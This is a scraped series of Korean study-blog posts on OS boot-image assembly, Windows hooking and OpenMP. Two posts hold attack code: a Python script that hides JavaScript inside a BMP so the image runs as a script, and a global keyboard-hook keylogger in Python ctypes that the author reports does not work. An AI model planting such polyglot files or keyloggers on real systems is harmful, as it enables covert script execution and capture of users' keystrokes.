728x90

* 주의사항

폴더 구조를 바꾸면서 파일 내용도 일부 수정

github 내용 참고 필요

https://github.com/JeongChanDo/make_os

 

 

nask 어셈블러 명령어

- DB Data byte : 파일 값을 1바이트씩 직접 쓰는 명령어

 * 소문자 db도 ㄱㅊ

- RESB REServe Byte : 10바이트 예약

 * ex. RESB 10 - 10바이트 공간을 공백으로 예약

- 0x : 16진수

- 일반 : 10진수

 

 

 

 

어셈블러 코드 개선하기

- helloos2폴더에서 작성

 

추가된 명령어

- j : 주석 처리

- DB : 문자열도 사용가능

- DW Data Word : 데이터 워드로 2바이트 -> 16비트

- DD Data Double-word : 데이터 더블 워드로 4바이트 -> 32비트

- RESB 0xfe-$ : 0xfe부터 앞에서 쓴 바이트를 뺀 크기를 공백으로 채움

 * RESB 378  하자니 앞에 가변일수 있으므로 $ 사용

 

 

개선된 어셈블러 코드 동작 결과

- 이전에 16진수로만 작성한 어셈블러 코드랑 동일하게 동작

- 소스코드 가독성이 더좋음

300x250
728x90

어셈블러 만들기

- 이전에 바이너리로 만든 helloos.img를 어셈블러 소스 코드로 만들자(내용은 바이너리와 비슷)

- 사용 어셈블러 nask 나스크, nasm보다 최적화 성능 좋음

- hellos.nas로 저장

 

 

hellos.nas

- RESB 명령으로 공백 넘어감

- nask 어셈블러 소스코드

	DB	0xeb, 0x4e, 0x90, 0x48, 0x45, 0x4c, 0x4c, 0x4f
	DB	0x49, 0x50, 0x4c, 0x00, 0x02, 0x01, 0x01, 0x00
	DB	0x02, 0xe0, 0x00, 0x40, 0x0b, 0xf0, 0x09, 0x00
	DB	0x12, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00
	DB	0x40, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x29, 0xff
	DB	0xff, 0xff, 0xff, 0x48, 0x45, 0x4c, 0x4c, 0x4f
	DB	0x2d, 0x4f, 0x53, 0x20, 0x20, 0x20, 0x46, 0x41
	DB	0x54, 0x31, 0x32, 0x20, 0x20, 0x20, 0x00, 0x00
	RESB	16
	DB	0xb8, 0x00, 0x00, 0x8e, 0xd0, 0xbc, 0x00, 0x7c
	DB	0x8e, 0xd8, 0x8e, 0xc0, 0xbe, 0x74, 0x7c, 0x8a
	DB	0x04, 0x83, 0xc6, 0x01, 0x3c, 0x00, 0x74, 0x09
	DB	0xb4, 0x0e, 0xbb, 0x0f, 0x00, 0xcd, 0x10, 0xeb
	DB	0xee, 0xf4, 0xeb, 0xfd, 0x0a, 0x0a, 0x68, 0x65
	DB	0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0x77, 0x6f, 0x72
	DB	0x6c, 0x64, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00
	RESB	368
	DB	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xaa
	DB	0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
	RESB	4600
	DB	0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
	RESB	1469432

 

 

 

 

* 구글링하다가 깃헙 소스 찾음

- https://github.com/slankdev/os

 

 

nask 어셈블러로 어셈블

- 어셈블 수행

 

 

어셈블리어로 작성한 이미지 실행 결과

- 지난번에 만든 run.bat으로 돌리면 결과가 정상적으로 나옴

 

300x250
728x90

이미지 해킹

- 이미지 파일에 스크립트 추가하여 해킹 도구를 활용 가능

- 비트맵 파일에 js 삽입해보자

 

비트맵 파일

- 구성 : 매직 넘버, 데이터

- 매직 넘버 : 첫 2바이트, 비트맵 파일임을 식별

- 다음 4바이트 : 비트맵 파일 크기 표기

https://ko.wikipedia.org/wiki/BMP_%ED%8C%8C%EC%9D%BC_%ED%8F%AC%EB%A7%B7

 

 

 

비트맵에 삽입할 스크립트 작성

- 브라우저의 쿠키를 저장하고 알람 창으로 출력하는 스크립트

name = 'id';
value = 'Mammamia';

var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7); //쿠키 유효기간
document.cookie = name + "=" + escape(value) + "; path=/expires="
    + todayDate.toGMTString() + ""; //쿠키 생성
alert(document.cookie)

 

비트맵 파일에 스크립트 추가하는 코드

- 매직파일 뒤 데이터 부분은 주석

- 주석처리된 데이터 영역 이후로 js코드 삽입

# -*- coding: utf-8 -*- 
fname = "windows/hello.bmp"

pfile = open(fname, "r+b")
buff = pfile.read()
# *와 /를 공백으로 리플레이스
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()


pfile = open(fname,"w+b")
pfile.write(buff)
#커서를 앞에서 2바이트 뒤로 이동 -> 매직넘버 바로뒤
pfile.seek(2,0)
#주석문 샆입 /*   \x2F -> /,   \x2A -> *
pfile.write(b'\x2F\x2A')
pfile.close()


pfile = open(fname, "a+b") #append binary mode
#fname 파일 맨 뒤에 주석문 닫는 */추가 -> 비트맵의 데이터 영역 전체가 주석처리
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
#주석 처리된 데이터 영역 뒤에 js 코드 삽입
pfile.write(open('windows/2_hello.js','rb').read())
pfile.close()

 

 

비트맵 파일 hello.bmp

- 이미지

 

 

바이너리 에디터로 본 비트맵

- 첫 2비트는 매직 비트로 42, 4D = BM -> 비트맵 파일 의미

 

 

이미지 해킹 후 바이너리 에디터

- 매직넘버뒤에 주석문 /* 추가

- 맨 바닥에 주석 닫고 */

- js 코드 삽입됨

 

 

 

 

hello.bmp를 열고, 스크립트 동작하는 html 코드 작성

<img src="hello.bmp"/>
<script src="hello.bmp"></script>

 

- 이미지에 삽입한 js코드를 이용해 alert 띄우는건 성공했다.

- 오타때문인지 내용은 안뜨지만

 

 

- 개발자 도구로도 이미지 맨 끝에 js 코드가 추가된것을 확인할 수 있다.

 => 정상적인 이미지에 이런식으로 코드 삽입이 가능하다.

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
728x90

키보드 후킹하는 코드를 작성했는데

 

setwindowshookex()함수에서 에러가 발생하는듯 하다

 

원인은 모르겠지만

 

안돌아가는걸 그냥 버리자니 아깝고 업로드

 

 

 

# -*- coding: utf-8 -*- 
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD


# windll로 user32.dll, kernel32.dll을 가져옴
user32 = windll.user32
kernel32 = windll.kernel32

# 사용되는 변수
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE = 162

#class definition
class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    #훅 설정 정의. 모니터링 이벤트는 WH_KEYBOARD_LL, 범위는 전역
    def installHookProc(self, pointer):
        # 훅타입, 훅프로시저, dll 핸들, 후킹할 스레드 아이디(전역 -> 0)
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        print self.hooked
        if not self.hooked:
            return False
        return True
    
    # release hook resource
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

# setwindowshookexa() 함수에서 필요한 프로시저 인자와 타입 지정. 함수 포인터
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

#메시지 종류가 WM_KEYDOWN이면 화면에 출력. CTRL이면 훅 제거
# wParam : virtual key code, lparam : extral info
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print hookedKey
    if (CTRL_CODE == int(lParam[0])):
        print "Ctrl pressed. call uninstallHook()"
        KeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

# GetMessageA()함수로 큐 모니터링. 메시지오면 훅 체인으로 전달
def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)

#키로거 생성
KeyLogger = KeyLogger()
#훅 프로시저 함수포인터 획득
pointer = getFPTR(hookProc)
#키로거로 훅 프로세서 생성
if KeyLogger.installHookProc(pointer):
    print "installed keyLogger"
startKeyLog()

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

네트워크 기초 복습  (0) 2021.03.05
해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
728x90

프로시저, 콜백 함수

- 기능 동작시에 호출할 함수 혹은 동작들?

 

훅 hook

- 메시지, 마우스 클릭, 키 입력 등 이벤트를 가로체는 기능

- OS는 훅 체인으로 리스트 관리

- 훅 관련 기능 동작들을 훅 프로시저

 

 

훅 체인

- 훅 프로시저 포인터들 목록

 

훅의 종류

- 전역 훅 : OS 전반에 훅 설정

- 지역 훅 : 특정 스레드에서만 훅 설정

 

 

키보드 후킹 처리 과정

1. 훅 설정 : user32.dll-SetWindowsHookExA()로 훅 설정과 프로시저 등록

2. 훅 체인 등록 : 훅 체인 맨 앞에 훅 프로시저 포인터 등록

3. 키보드 입력 : 사용자가 키 입력시 키보드 컨트롤러가 신호 변환해서 키보드 드라이버로 전달

4. 시스템 큐 : 키보드 메시지가 시스템 큐로 입력

5. 스레드 큐 : 시스템 큐로부터 메시지 전달받음. 

6. 메시지 후킹 : 스레드 큐로부터 메시지가 훅 프로시저로 전달

7. 훅 프로시저 : 지정 동작 수행

8. 훅 체인 포인터 : 메시지 처리 후 윈도우로 전달

 

 

 

 

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 7. 이미지 해킹  (0) 2020.07.30
해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 4. 윈도우 어플 해킹 개요  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
728x90

윈도우 API

- 윈도우 어플리케이션 개발시 사용하는 API

- 이 API로 OS에서 제공하는 기능 사용

- Win32 : 32비트 윈도우 API

 

 

일반적인 윈도우 API

- 동적 라이브러리 DLL로 제공

- 다양한 언어에서 호출하여 사용 가능

종류 특징
 kernel32.dll 파일 시스템, 디바이스, 프로세스 등 기본 리소스 접근 기능
user32.dll ui 지원, 윈도우 창 생성 관리, 화면 및 메시지 표현
gdi32.dll 모니터 등 출력장치 관리 지원
comdig32.dll 파일 입출력 및 표준 대화 창 관리
comctl32.dll 상태 바, 진행 바 등 응용프로그램 등 접근 지원
shell32.dll 쉘 기능 접근 지원
netapi32.dll 다양한 통신 기능을 응용프로그램에서 쓸수있도록 지원
advapi32.dll 레지스트리, 윈도우 서비스 시작 종료, 계정 관리 등 

 

ctypes

- 파이썬으로 ctypes를 이용하여 DLL과 C언어 변수 사용 가능

ctypes 기능 설명
DLL 로드 windll.kernel32, windll.user32
API 호출 windll.user32. SetWindowsHookExA
함수 인자 자료형 지정 printf = libc.printf
print.argtypes = [c_char_p, c_int, c_double]
printf("String %s, int %d, bouble %f\n", "hello", 1, 3.14) 
함수 반환값 타입 지정 libc.strchr.restype = c_char_p
자료형 예시 i = c_int(42)
pi = POINTER(c_int)
포인터 전달 f = c_float()
s = create_string_buffer("\000" *32)
windll.msvcrt.sscanf("1 3.14 wow", "%f %s", byref(f), s)
콜백 함수 선언 def py_cmp_func(a, b):
    print "py_cmp_func", a, b
    return 0

CMPFUNC = CFUNCTYPE(c_int, POINTER(c_int), POINTER(c_int))
cmp_func = CMPFUNC(py_cmp_func)
windll.msvcrt.qsort(ia, len(ia), sizeof(c_int), cmp_func)
구조체 선언 class POINT(Structure):
    _fileds_ = [("x", c_int), ("y", c_int)]

point = POINT(10, 20)

 

300x250

'컴퓨터과학 > 통신, 보안' 카테고리의 다른 글

해킹 - 6. 키보드 후킹  (0) 2020.07.29
해킹 - 5. 후킹  (0) 2020.07.29
해킹 - 3. 관련 용어  (0) 2020.07.28
해킹 - 2. 해킹 종류  (1) 2020.07.28
해킹 - 1. 해킹 개요  (0) 2020.07.28
728x90

pi 계산 순차 코드

- 실행결과 1.326s 소요

 

 

 

어떻게 고칠까

- for문이 로드가 걸릴거같다 -> 병렬 처리

- private 할지 shared할지 결정해야함 : x 는 private, sum은 누적이므로 reduction 사용

 

병렬화 결과

- 일단 사용할 스래드 갯수 5개로 설정

- sum은 각 스래드별로 계산후 다합칠것이므로 reduction

- x는 각 스래드마다 개별로 가져야하므로 private

 * private을 안하면 다른 스레드의 x값이 덮어씌워줄수 있음.

- 순차 코드에서 1.326s가 소요됬으나, 병렬 코드에서는 0.318s가 소요

 

 

* #pragma omp parallel 과 parallel for의 차이

- prallel만 있는 경우 { } 병렬영역을 괄호로 지정해주어야 함

- parallel for의 경우 #pragma 바로 아래의 for문에만 영향을 줌

300x250

'컴퓨터과학 > 기타' 카테고리의 다른 글

openmp - 19. 중첩 스레드  (0) 2020.07.30
openmp - 18. 병렬 블록, 포크 조인, 동기화 문제  (0) 2020.07.30
openmp - 16. reduction과 factorial  (0) 2020.07.29
openmp - 15. reduction  (0) 2020.07.29
openmp - 14. 동기화  (0) 2020.07.29
728x90

순차 프로그램으로 팩토리얼 계산

- 5000만 펙토리얼 연산 수행

 => 0.151s 소요

* 4개 스레드 reduction 지시자 사용한 경우 0.091s 소요

 

 

reduction을 이용한 factorial 계산

- 4개의 스레드를 생성하여 reduction 지시자로 5000만회 펙토리얼 연산 수행

 => 0.91s 소요

 

 

 

 

 

 

300x250
728x90

시간 측정

- time ./실행파일명

ex. time ./13_serial_loop.x

- 13_serial_loop는 순차 프로그램, 15_parallel_for 작업분할지시자를 사용한 병렬 프로그램

 -> 20번 루프돌리는 동안 13은 0.045s 가 걸렸으나 15는 0.029s가 소요

 

 

atomic을 사용하는 경우

- 동기화를 위해 하나의 스레드만 사용하도록 막음

 => 병렬 처리의 성능을 크게 낮춤

* ciritical은 함수 범위 atomic은 한 줄연산 범위

 

 

 

reduction

- #pragma omp for reduction (+:sum)

 => 각 스래드들끼리 local sum을 구해서 다 더해라

 * atomic 처럼 한 스레드마다 다 돌떄까지 기다리지 않음. 단 전체가 로컬 sum을 구하도록 기다림

- sum이 shared 변수 -> 내부적으로 private처럼 처리

 

 

 

 

 

300x250
728x90

동기화 루틴

- #pragma omp critical 

 => 한 스레드가 동작중에 다른 스레드가 사용못하도록 막음

 => 한 스레드마다 처리 ? -> 차례차례이므로 병렬화가 아님 -> 성능이 떨어진다.

- 동기화를 시키기 위해 사용

 

 

 

 

 

 

 

동기화

- 스레드 작업 순서에 제한 두기 가능

- 공유 데이터 접근 제어

- 가능한 안쓰는것이 좋음

- 고수준 동기화 : critical, atomic, barrier

- 저수준 동기화 : flush, locks

 

critical과 atomic의 차이

- critical : 한번에 한 스레드만 이름으로 구분하는 critical 영역 진입

- atomic : 메모리의 한 위치에만 적용됨. mini-critical section. 크리티칼 영역보다 작음

 

 

 

베리어

- 모든 스레드들이 베리어에 도달 할 떄까지 대기함

- 작업 분할 구문(#pragma omp for)에서는 사용 불가

 

 

베리어가 없는 경우

- 스레드들이 베리어가 없으므로 기다리지 않고 그냥 처리

 => 결과 값이 달라짐

 

300x250

+ Recent posts